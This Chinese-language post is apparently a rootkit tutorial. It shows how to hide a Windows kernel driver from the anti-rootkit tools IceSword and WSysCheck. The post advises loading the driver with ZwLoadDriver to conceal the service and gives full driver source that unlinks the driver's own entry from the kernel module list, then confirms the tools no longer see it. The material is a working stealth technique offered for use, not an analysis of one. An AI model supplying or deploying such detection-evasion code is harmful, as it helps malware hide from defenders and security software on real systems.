1隱藏服務(wù)
驅(qū)動的加載一般有三種方式:
OpenSCManager
ZwLoadDriver
ZwSetSystemInformation
這里我們用ZwLoadDriver來加載驅(qū)動程序.便可以隱藏服務(wù)了,沒試其他,冰刃和WSysCheck就看不到我們的服務(wù)了
2隱藏模塊
摘鏈,注意加載驅(qū)動用ZwLoadDriver不要用OpenSCManager,否則如下圖一樣:
驅(qū)動代碼比較簡單
01 #include "ntddk.h"
02 typedef unsigned long DWORD;
03 typedef DWORD* PDWORD;
04 typedef struct _DRIVER_DATA
05 {
06 LIST_ENTRY listEntry;
07 DWORD unknown1;
08 DWORD unknown2;
09 DWORD unknown3;
10 DWORD unknown4;
11 DWORD unknown5;
12 DWORD unknown6;
13 DWORD unknown7;
14 UNICODE_STRING path;
15 UNICODE_STRING name;
16 } DRIVER_DATA;
17 VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
18 {
19 DbgPrint("OnUnload called.");
20 }
21 NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )
22 {
23
24 DRIVER_DATA* driverData;
25 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
26 if( driverData != NULL )
27 {
28 *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
29 driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
30 DbgPrint("Sucessfull.\n");
31 }
32 pDriverObject->DriverUnload = OnUnload;
33 return STATUS_SUCCESS;
34 }
加載驅(qū)動后,我們用DbgView看到打出的Sucessfull就知道我們的驅(qū)動已經(jīng)運行了...然后用冰刃的查看模塊,服務(wù)..好像沒什么動靜...he8he8
下面的圖是用OpenSCManager加載驅(qū)動的效果....所以不要用OpenSCManager加載,用ZwLoadDriver加載,這樣冰刃才查不出來